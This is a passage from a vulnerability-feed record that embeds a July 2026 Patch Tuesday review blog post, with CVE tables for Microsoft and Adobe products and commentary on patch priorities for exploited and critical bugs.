EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:48.540025Z"}, {"uuid": "62c89915-dee2-40cb-8094-0c54eb1ae7be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54986", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft 